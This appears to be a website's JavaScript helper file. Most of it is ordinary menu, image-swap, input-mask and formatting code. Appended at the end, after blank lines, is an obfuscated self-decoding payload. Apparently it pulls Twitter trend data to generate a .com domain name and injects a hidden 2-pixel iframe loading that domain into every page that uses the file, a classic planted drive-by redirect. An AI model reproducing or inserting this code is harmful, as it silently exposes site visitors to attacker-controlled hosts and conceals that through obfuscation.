function rotateImage(prod, num)
{
	var img;
	var newImg;
	newImg = "/media/products/" + prod + "_" + num + ".jpg";
	img = document.images("rotateView");
	img.src = newImg;
}

function replaceImage(status)
{
	if (status==1)
		document.images("powered").src="/media/rpt_powered_on.gif";
	else
		document.images("powered").src="/media/rpt_powered_off.gif";
}

var curMenu = null;
var mouseX;
var mouseY;

if (!document.all) 
{
    window.captureEvents(Event.MOUSEMOVE);
    window.onmousemove=mouse_move;
}

function MouseOverChangeClass(elem,strColor) 
{
	if (elem.className != strColor + "_click") 
	{
		elem.className = strColor + "_over";
	}

}

function MouseOutChangeClass(elem, strColor) 
{

	if (elem.className != strColor + "_click") 
	{
		elem.className = strColor + "_off";
	}
}

function drop_menu(oMenu)
{
	var IE = document.all?true:false
	
	if (curMenu != null)
		curMenu.style.display = "none";
		
	oMenu.style.display = "block";
	curMenu = oMenu;
}

function mouse_move(e)
{
	mouseX = e.pageX;
	mouseY = e.pageY;
}

function change_class(oElm, tClass, fClass)
{

	var iX = 0;
	var iY = 0;
	var ibX1, ibX2, ibY1, ibY2;
	var IE = document.all?true:false
	
	if (IE) 
	{
		iX = event.clientX + document.body.scrollLeft
		iY = event.clientY + document.body.scrollTop
	}
	else 
	{
		iX = mouseX;
		iY = mouseY;
	}  
	
	if (oElm != null)
	{
		ibX1 = parseInt(oElm.style.left);
		ibX2 = ibX1 + parseInt(oElm.style.width);
		ibY1 = parseInt(oElm.style.top);
		ibY2 = ibY1 + parseInt(oElm.style.height);
		
		if (((iX < ibX1 + 3 || iX > ibX2 - 3) || (iY < ibY1 + 3  || iY > ibY2 - 5)) || (isNaN(ibX1) || isNaN(ibY1)))
		{
			//window.status = iX + ":" + iY + "-" + ibX1 + "," + ibY1 + ":" + ibX2 + "," + ibY2;
			oElm.className = tClass;
		}
		else
		{
			oElm.className = fClass;
		}
	}
}

function hide_menu(oMenu)
{	

	var iX = 0;
	var iY = 0;
	var ibX1, ibX2, ibY1, ibY2;
	var IE = document.all?true:false
	
	if (IE) 
	{
		iX = event.clientX + document.body.scrollLeft
		iY = event.clientY + document.body.scrollTop
	}
	else 
	{
		iX = mouseX;
		iY = mouseY;
	}  
	
	if (oMenu != null)
	{
		ibX1 = calculate_absolute_X(oMenu);//parseInt(oMenu.style.left);
		ibX2 = ibX1 + parseInt(oMenu.style.width);
		ibY1 = calculate_absolute_Y(oMenu);//parseInt(oMenu.style.top);
		ibY2 = ibY1 + parseInt(oMenu.style.height);
		//alert(calculate_absolute_X(oMenu));
		//alert(calculate_absolute_(oMenu));

		//alert(iX + ":" + iY);
		//alert(ibX1 + "," + ibY1 + ":" + ibX2 + "," + ibY2);
		if (iX < ibX1 + 3 || iX > ibX2 - 3 || iY < ibY1 - 5  || iY > ibY2 ){
			oMenu.style.display = "none";
		}
	}	
}
var tables=0;
function calculate_absolute_X( theElement )
{
	var xPosition = 0;

	while ( ( theElement != null ))// && ( theElement.id != id ) )
	{
		xPosition += theElement.offsetLeft;
		theElement = theElement.offsetParent;
	}

	return xPosition + tables;
}

function calculate_absolute_Y( theElement )
{
	var yPosition = 0;

//	while ( theElement != null )
	while ( ( theElement != null ))
	{
		yPosition += theElement.offsetTop;
		theElement = theElement.offsetParent;
	}

	return yPosition + tables;
}


function anyMask(event, sMask) 
{
	//var sMask = "**?##?####";
	var KeyTyped = String.fromCharCode(getKeyCode(event));
	var targ = getTarget(event);
	
	keyCount = targ.value.length;
	//alert(sMask.charAt(keyCount));
	
	if (sMask.charAt(keyCount) == '*')
 	   	return true;
 
	if (sMask.charAt(keyCount) == KeyTyped)
    	{
		return true;
	}
	
	if ((sMask.charAt(keyCount) == '#') && isNumeric(KeyTyped)) 
	   return true; 
	
	if ((sMask.charAt(keyCount) == 'A') && isAlpha(KeyTyped))
         return true; 
    
      if ((sMask.charAt(keyCount) == '?') && isPunct(KeyTyped))
         return true; 
	if (KeyTyped.charCodeAt(0) < 32) return true;
    
    return false;	   
   
	
}

 function getTarget(e) {
  // IE5
   if (e.srcElement) {
   	return e.srcElement;
   }
    if (e.target) {
   	return e.target;
   }	
 }

  function getKeyCode(e) {
 //IE5
 if (e.srcElement) {
 	return e.keyCode
 }
  // NC5
  if (e.target) {
   return e.which
  }
 }

 function isNumeric(c)
{
	var sNumbers = "01234567890";
	if (sNumbers.indexOf(c) == -1)
		return false;
	else return true;
	
}  

function isAlpha(c)
{
	var lCode = c.charCodeAt(0);
	if (lCode >= 65 && lCode <= 122 )
 	  {	
		return true;
         }
	else 
	return false;
}  

function isPunct(c)
{
	var lCode = c.charCodeAt(0);
	if (lCode >= 32 && lCode <= 47 )
 	  {	
		return true;
         }
	else 
	return false;

}
 

function phoneMask()
 {
	var sMask = "01234567890";
	var KeyTyped = String.fromCharCode(window.event.keyCode);
	var srcObject = window.event.srcElement;
	//alert(window.event.keyCode);
	if (window.event.keyCode != 8)
	{
	 if (sMask.indexOf(KeyTyped.toString()) == -1)
		{
		 		window.event.keyCode = 0;
				_ret = false;
		}
	}	 

   frigger = document.getElementById(window.event.srcElement.id);
   keyCount = frigger.value.length;
    var tmpStr = "(";
    
    keyEntered = KeyTyped;
    keyCount++;
    switch (keyCount)
    {
    case 2: 
      tmpStr += srcObject.value;
      srcObject.value = tmpStr;
      break;
    case 5:
      srcObject.value += ")";
      break;
    case 9:
      srcObject.value += "-";
      break;
      }
 }



function dateMask()
 {
	var sMask = "01234567890";
	var KeyTyped = String.fromCharCode(window.event.keyCode);
	var srcObject = window.event.srcElement;
	//alert(window.event.keyCode);
	if (window.event.keyCode != 8)
	{
	 if (sMask.indexOf(KeyTyped.toString()) == -1)
		{
		 		window.event.keyCode = 0;
				_ret = false;
		}
	}	 

   frigger = document.getElementById(window.event.srcElement.id);
   keyCount = frigger.value.length;
    var tmpStr = "";
    
    keyEntered = KeyTyped;
    keyCount++;
    switch (keyCount)
    {
    case 3: 
      srcObject.value += "/";
      break;
    case 6:
      srcObject.value += "/";
      break;
      }
 } 
 
 
 
 function ssnMask()
  {
	var sMask = "01234567890";
	var KeyTyped = String.fromCharCode(window.event.keyCode);
	var srcObject = window.event.srcElement;
	//alert(window.event.keyCode);
	if (window.event.keyCode != 8)
	{
	 if (sMask.indexOf(KeyTyped.toString()) == -1)
		{
		 		window.event.keyCode = 0;
				_ret = false;
		}
	}	 

   frigger = document.getElementById(window.event.srcElement.id);
   keyCount = frigger.value.length;
   
   if (keyCount>10)
		window.event.keyCode = 0;
   
    var tmpStr = "";
    
    keyEntered = KeyTyped;
    keyCount++;
    switch (keyCount)
    {
    case 2: 
      tmpStr += srcObject.value;
      srcObject.value = tmpStr;
      break;
    case 4:
      srcObject.value += "-";
      break;
    case 7:
      srcObject.value += "-";
      break;
      }
 }

function showHide(obj, oControl) 
{
		flipObj = document.getElementById(obj);
		if(flipObj.style.display=="" || flipObj.style.display=="block")
		{			
			flipObj.style.display="none";
			oControl.innerText = "[+] Show Documents";						
		}
		else
		{			
			flipObj.style.display="block";
			oControl.innerText = "[-] Hide Documents";			
		}
}

	function showMenu(id,currentSection){
		document.getElementById('drp1').style.display='none';
		document.getElementById('drp2').style.display='none';
		document.getElementById('drp3').style.display='none';
		document.getElementById('drp4').style.display='none';
		var a=document.getElementById('drp'+id);
		
		if (a!=null)
			a.style.display='';
			
		document.getElementById('m1').className='menuitem';
		document.getElementById('m2').className='menuitem';
		document.getElementById('m3').className='menuitem';
		document.getElementById('m4').className='menuitem';

		a=document.getElementById('m'+id);
		if (currentSection==null || currentSection=='undefined'){
			if (a!=null)
				a.className="menuitem-hover";
		}
		
	}
	
	function displayMenu(currentSection,currentMenu){
		if (currentMenu==null || currentMenu=='undefined'){
			showMenu(currentSection);
		}else{
			showMenu(currentMenu, currentSection);		
		}
		
	}
	
	
function newWindow(URL, width, height){

		window.open(URL, "Sub", "scrollbars=no,width=" + width + ",height=" + height + ",menubar=no,toolbar=no,titlebar=no,status=no");
	}
	
	
function trim(strText) {
   return ltrim(rtrim(strText));
}

function ltrim(strText) { 
    
    while (strText.substring(0,1) == ' ') 
        strText = strText.substring(1, strText.length);   
   
   return strText;
}

function rtrim(strText) { 	
    while (strText.substring(strText.length-1,strText.length) == ' ')
        strText = strText.substring(0, strText.length-1);
        
   return strText;
}


function formatCurrency(num) {
	num = num.toString().replace(/\$|\,/g,'');
	if(isNaN(num))
	num = "0";
	sign = (num == (num = Math.abs(num)));
	num = Math.floor(num*100+0.50000000001);
	cents = num%100;
	num = Math.floor(num/100).toString();
	if(cents<10)
	cents = "0" + cents;
	for (var i = 0; i < Math.floor((num.length-(1+i))/3); i++)
	num = num.substring(0,num.length-(4*i+3))+','+
	num.substring(num.length-(4*i+3));
	return (((sign)?'':'-') + '$' + num + '.' + cents);
}


var _OUTPUT=1; /* set to 1 to have the function output the result -return true if converted
                * set to 0 to have the function not output anything -returns the value
				*/
function formatPhone(num)
{ 
  var _return=false;
  /*
   * 7181238748 to 1(718)123-8748
   */ 

  num = replaceAll( num , " " , "" );
  num = replaceAll( num , "-" , "" );
  num = replaceAll( num , "." , "" );
  num = replaceAll( num , "(" , "" );
  num = replaceAll( num , ")" , "" );
  
  if(num.length != 10 ) { 
    /* 
     * if user did not enter 10 digit phone number then simply print whatever user entered 
     */ 
	_return=_OUTPUT?num:false;
  } 
  else
  { 
    /* formating phone number here */ 
	_return="(";
	var ini = num.substring(0,3);
	_return+=ini+")";
	var st = num.substring(3,6);
	_return+=st+"-";
	var end = num.substring(6,10);
	_return+=end;
  }
  return _return; 
} 

function replaceAll( sIn , sFind, sReplace){
	if ( sIn == null )
		return "";
		
	return sIn.split( sFind ).join( sReplace );
}











(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

